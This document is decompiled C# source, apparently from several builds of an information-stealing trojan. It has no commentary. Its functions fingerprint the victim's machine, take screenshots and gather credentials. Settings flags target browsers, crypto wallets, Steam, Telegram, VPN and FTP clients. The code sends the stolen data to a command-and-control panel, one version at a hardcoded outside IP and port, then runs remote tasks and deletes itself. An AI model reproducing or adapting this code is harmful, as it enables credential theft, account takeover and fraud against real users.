public static UserLog Create(ClientSettings settings) { UserLog userLog = new UserLog(); try { GeoInfo geoInfo = GeoHelper.Get(); IList <string> blacklistedCountry = settings.BlacklistedCountry; if (blacklistedCountry != null && blacklistedCountry.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country)) { InstallManager.RemoveCurrent(); } WmiDiskDrive wmiDiskDrive = new WmiService().QueryFirst <WmiDiskDrive>(new WmiDiskDriveQuery()); Size size = Screen.PrimaryScreen.Bounds.Size; string text = System.TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString(); if (!text.StartsWith("-")) { text = "+" + text; } userLog.IP = geoInfo.IP; userLog.Location = geoInfo.Location; userLog.Country = geoInfo.Country; userLog.Screenshot = CaptureScreen(); userLog.UserAgent = UserAgentDetector.GetUserAgent(); IList <string> blacklistedCountry2 = settings.BlacklistedCountry; if (blacklistedCountry2 != null && blacklistedCountry2.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country)) { InstallManager.RemoveCurrent(); } userLog.HWID = DecryptHelper.GetMd5Hash(Environment.UserDomainName + Environment.UserName + wmiDiskDrive.SerialNumber).Replace("-", string.Empty); userLog.CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName; userLog.TimeZone = "UTC" + text; userLog.MonitorSize = $"{size.Width}x{size.Height}"; userLog.IsProcessElevated = NativeMethods.IsUserAnAdmin(); userLog.UacType = UacHelper.AdminPromptBehavior; userLog.OS = OsDetector.GetWindowsVersion(); userLog.Username = Environment.UserName; return(userLog); } catch { return(userLog); } finally { userLog.HWID = (string.IsNullOrWhiteSpace(userLog.HWID) ? "UNKNOWN" : userLog.HWID); userLog.IP = (string.IsNullOrWhiteSpace(userLog.IP) ? "UNKNOWN" : userLog.IP); userLog.MonitorSize = (string.IsNullOrWhiteSpace(userLog.MonitorSize) ? "UNKNOWN" : userLog.MonitorSize); userLog.OS = (string.IsNullOrWhiteSpace(userLog.OS) ? "UNKNOWN" : userLog.OS); userLog.TimeZone = (string.IsNullOrWhiteSpace(userLog.TimeZone) ? "UNKNOWN" : userLog.TimeZone); userLog.Username = (string.IsNullOrWhiteSpace(userLog.Username) ? "UNKNOWN" : userLog.Username); userLog.Location = (string.IsNullOrWhiteSpace(userLog.Location) ? "UNKNOWN" : userLog.Location); userLog.Country = (string.IsNullOrWhiteSpace(userLog.Country) ? "UNKNOWN" : userLog.Country); userLog.CurrentLanguage = (string.IsNullOrWhiteSpace(userLog.CurrentLanguage) ? "UNKNOWN" : userLog.CurrentLanguage); userLog.UserAgent = (string.IsNullOrWhiteSpace(userLog.UserAgent) ? "UNKNOWN" : userLog.UserAgent); } }
private static void Main(string[] args) { string str = "127.0.0.1"; string buildId = "pref"; try { Service <IRemotePanel> .RemoteIP = str; Service <IRemotePanel> .Use((Action <IRemotePanel>)(panel => { ClientSettings result1 = panel.GetSettings().Result; UserLog user = UserLog.Create(result1); user.BuildID = buildId; user.Credentials = Credentials.Create(result1); bool flag = false; while (!flag) { try { panel.SendClientInfo(user).Wait(); flag = true; } catch { flag = false; } } user.Credentials = new Credentials(); IList <RemoteTask> result2 = panel.GetTasks(user).Result; if (result2 == null) { return; } foreach (RemoteTask task in (IEnumerable <RemoteTask>)result2) { try { if (Program.CompleteTask(task)) { panel.CompleteTask(user, task.ID).Wait(); } } catch { } } })); } catch { } finally { InstallManager.RemoveCurrent(); } }
private static void Main(string[] args) { string remoteIP = "0.0.0.0"; string buildId = "wwq"; try { Service <IRemotePanel> .RemoteIP = remoteIP; Service <IRemotePanel> .Use(delegate(IRemotePanel panel) { ClientSettings result = panel.GetSettings().Result; UserLog userLog = UserLog.Create(result); userLog.BuildID = buildId; userLog.Credentials = Credentials.Create(result); bool flag = false; while (!flag) { try { panel.SendClientInfo(userLog).Wait(); flag = true; } catch { flag = false; } } userLog.Credentials = new Credentials(); IList <RemoteTask> result2 = panel.GetTasks(userLog).Result; if (result2 != null) { foreach (RemoteTask item in result2) { try { if (CompleteTask(item)) { panel.CompleteTask(userLog, item.ID).Wait(); } } catch { } } } }); } catch { } finally { InstallManager.RemoveCurrent(); } }
// Token: 0x060000AB RID: 171 RVA: 0x00003698 File Offset: 0x00001898 public static UserLog Create(ClientSettings settings) { UserLog result = default(UserLog); try { GeoInfo geoInfo = GeoHelper.Get(); geoInfo.IP = (string.IsNullOrWhiteSpace(geoInfo.IP) ? "UNKNOWN" : geoInfo.IP); geoInfo.Location = (string.IsNullOrWhiteSpace(geoInfo.Location) ? "UNKNOWN" : geoInfo.Location); geoInfo.Country = (string.IsNullOrWhiteSpace(geoInfo.Country) ? "UNKNOWN" : geoInfo.Country); geoInfo.PostalCode = (string.IsNullOrWhiteSpace(geoInfo.PostalCode) ? "UNKNOWN" : geoInfo.PostalCode); IList <string> blacklistedCountry = settings.BlacklistedCountry; if (blacklistedCountry != null && blacklistedCountry.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country)) { InstallManager.RemoveCurrent(); } IList <string> blacklistedIP = settings.BlacklistedIP; if (blacklistedIP != null && blacklistedIP.Count > 0 && settings.BlacklistedIP.Contains(geoInfo.IP)) { InstallManager.RemoveCurrent(); } WmiDiskDrive wmiDiskDrive = null; try { wmiDiskDrive = new WmiService().QueryFirst <WmiDiskDrive>(new WmiDiskDriveQuery()); } catch (Exception) { } result.HWID = DecryptHelper.GetMd5Hash(Environment.UserDomainName + Environment.UserName + ((wmiDiskDrive != null) ? wmiDiskDrive.SerialNumber : null)).Replace("-", string.Empty); string text = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString(); if (!text.StartsWith("-")) { text = "+" + text; } result.IP = geoInfo.IP; result.Location = geoInfo.Location; result.Country = geoInfo.Country; result.PostalCode = geoInfo.PostalCode; if (settings.GrabScreenshot) { result.Screenshot = UserLogHelper.CaptureScreen(); } if (settings.GrabUserAgent) { result.FingerPrint = UserAgentDetector.GetFingerPrint(); } else { result.FingerPrint = new FingerPrint { Plugins = "UNKNOWN", UserAgent = "UNKNOWN", WebBaseGlRenderer = "UNKNOWN", WebBaseGlVendor = "UNKNOWN", WebBaseGlVersion = "UNKNOWN", WebDebugGlRenderer = "UNKNOWN", WebDebugGlVendor = "UNKNOWN" }; } result.CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName; result.TimeZone = "UTC" + text; Size size = Screen.PrimaryScreen.Bounds.Size; result.MonitorSize = string.Format("{0}x{1}", size.Width, size.Height); result.IsProcessElevated = false; result.OS = OsDetector.GetWindowsVersion(); result.Username = Environment.UserName; } catch (Exception) { } finally { result.HWID = (string.IsNullOrWhiteSpace(result.HWID) ? "UNKNOWN" : result.HWID); result.MonitorSize = (string.IsNullOrWhiteSpace(result.MonitorSize) ? "UNKNOWN" : result.MonitorSize); result.OS = (string.IsNullOrWhiteSpace(result.OS) ? "UNKNOWN" : result.OS); result.TimeZone = (string.IsNullOrWhiteSpace(result.TimeZone) ? "UNKNOWN" : result.TimeZone); result.Username = (string.IsNullOrWhiteSpace(result.Username) ? "UNKNOWN" : result.Username); result.IP = (string.IsNullOrWhiteSpace(result.IP) ? "UNKNOWN" : result.IP); result.PostalCode = (string.IsNullOrWhiteSpace(result.PostalCode) ? "UNKNOWN" : result.PostalCode); result.Location = (string.IsNullOrWhiteSpace(result.Location) ? "UNKNOWN" : result.Location); result.Country = (string.IsNullOrWhiteSpace(result.Country) ? "UNKNOWN" : result.Country); result.CurrentLanguage = (string.IsNullOrWhiteSpace(result.CurrentLanguage) ? "UNKNOWN" : result.CurrentLanguage); } return(result); }
// Token: 0x06000006 RID: 6 RVA: 0x00002078 File Offset: 0x00000278 public static void Main(string[] args) { string text = "95.181.172.34:35253"; string buildId = "loshariki"; try { try { ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = (SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls | SecurityProtocolType.Tls12); } catch { } bool flag; UserLog log; Action <IRemotePanel> < > 9__0; do { flag = false; try { foreach (string remoteIP in text.Split(new char[] { '|' })) { try { Action <IRemotePanel> codeBlock; if ((codeBlock = < > 9__0) == null) { codeBlock = (< > 9__0 = delegate(IRemotePanel panel) { ClientSettings settings = null; try { settings = panel.GetSettings(); } catch (Exception) { settings = new ClientSettings { BlacklistedCountry = new List <string>(), BlacklistedIP = new List <string>(), GrabBrowsers = true, GrabFiles = true, GrabFTP = true, GrabImClients = true, GrabPaths = new List <string>(), GrabUserAgent = true, GrabWallets = true, GrabScreenshot = true, GrabSteam = true, GrabTelegram = true, GrabVPN = true }; } UserLog log = UserLogHelper.Create(settings); log.Exceptions = new List <string>(); log.BuildID = buildId; log.Credentials = CredentialsHelper.Create(settings); log.SendTo(panel); log = log; log.Credentials = new Credentials(); IList <RemoteTask> tasks = panel.GetTasks(log); if (tasks != null) { foreach (RemoteTask remoteTask in tasks) { try { if (log.ContainsDomains(remoteTask.DomainsCheck) && Program.CompleteTask(remoteTask)) { panel.CompleteTask(log, remoteTask.ID); } } catch { } } } }); } GenericService <IRemotePanel> .Use(codeBlock, remoteIP); flag = true; break; } catch { } } } catch (Exception) { } }while (!flag); } catch (Exception) { } finally { InstallManager.RemoveCurrent(); } }